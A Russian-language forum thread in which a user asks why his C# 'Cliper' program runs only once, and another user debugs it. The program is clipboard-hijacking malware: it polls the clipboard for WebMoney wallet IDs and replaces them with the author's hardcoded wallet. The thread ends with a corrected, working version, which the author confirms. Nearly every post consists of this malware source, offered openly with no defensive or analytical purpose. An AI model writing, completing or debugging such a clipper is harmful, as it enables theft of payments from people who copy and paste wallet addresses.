Загрузка...

CLIPER Что я делаю не так?

Тема в разделе C# создана пользователем Цербер 30 янв 2020. 209 просмотров

  1. Цербер
    Цербер Автор темы 30 янв 2020 Заблокирован(а) 1093 21 фев 2018
    Он открывается подменяет один рас и закрывается
    Код
    using System;
    using System.Windows.Forms;
    using System.Threading;

    namespace Cliper
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    //InitializeComponent();
    string webmoney = "U301931280212"; //кошелек вебмони
    string buffer = Clipboard.GetText();

    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");

    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    while (true)
    {
    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");
    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);
    Thread.Sleep(500);
    }
    }

    private void Form1_Load(object sender, EventArgs e)
    {

    }
    }
    }
     
  2. esretard
    esretard 30 янв 2020 18 23 дек 2019
    вынеси клиппер в отдельный метод и запусти этот метот в новом STA потоке
    --- Сообщение объединено с предыдущим 30 янв 2020
    ща код скину как
    --- Сообщение объединено с предыдущим 30 янв 2020
    Код
    public Form1()
    {
    Thread t = new Thread(Clipper);
    t.ApartmentState = ApartmentState.STA;
    t.Start();
    t.Join();

    }

    private static void Clipper()
    {
    //InitializeComponent();
    string webmoney = "U301931280212"; //кошелек вебмони
    string buffer = Clipboard.GetText();

    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");

    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    while (true)
    {
    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");
    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);
    Thread.Sleep(500);
    }
    }
     
  3. Цербер
    Цербер Автор темы 31 янв 2020 Заблокирован(а) 1093 21 фев 2018
  4. esretard
    esretard 31 янв 2020 18 23 дек 2019
    Возможно ты просто удалил этот код:
    Код

    private void Form1_Load(object sender, EventArgs e)
    {

    }
    --- Сообщение объединено с предыдущим 31 янв 2020
    И я так понимаю, что у тебя winform приложение, если да, то удали t.Join(); из кода, который я скинул
     
  5. Цербер
    Цербер Автор темы 31 янв 2020 Заблокирован(а) 1093 21 фев 2018
    esretard,
    Код
    namespace Clipper
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    Thread t = new Thread(Clipper);
    t.ApartmentState = ApartmentState.STA;
    t.Start();
    t.Join();

    }
    private void Form1_Load(object sender, EventArgs e)
    {

    }
    private static void Clipper()

    {
    //InitializeComponent();
    string webmoney = "U301931280212"; //кошелек вебмони
    string buffer = Clipboard.GetText();

    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");

    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);

    while (true)
    {
    if (buffer.Contains(" "))
    Console.Write("Это не wedmoney");
    else
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);
    Thread.Sleep(500);
    }

    }


    }
    }
    --- Сообщение объединено с предыдущим 31 янв 2020
    Вроде теперь все робит, но всеравно срабатывает один рас
     
  6. esretard
    esretard 31 янв 2020 18 23 дек 2019
    Стой, так ты буфер обмена получаешь всего-лишь 1 раз) Сделай так:
    Код

    namespace Clipper
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    Thread t = new Thread(Clipper);
    t.ApartmentState = ApartmentState.STA;
    t.Start();
    t.Join();

    }
    private void Form1_Load(object sender, EventArgs e)
    {

    }
    private static void Clipper()

    {
    //InitializeComponent();
    string webmoney = "U301931280212"; //кошелек вебмони
    string oldbuff = "";
    while (true)
    {
    string buffer = Clipboard.GetText();
    if (buffer == oldbuff)
    continue;
    if (buffer.StartsWith("U") && buffer.Length == 13)
    Clipboard.SetText(webmoney);
    else
    Console.WriteLine("Это не wedmoney");
    Thread.Sleep(100);
    }

    }
    }
    }
    И все остальные ошибки в недоработки в коде я пофиксил.
     
  7. Цербер
    Цербер Автор темы 31 янв 2020 Заблокирован(а) 1093 21 фев 2018
    esretard, Работает))) спасибо
     
Top
Загрузка...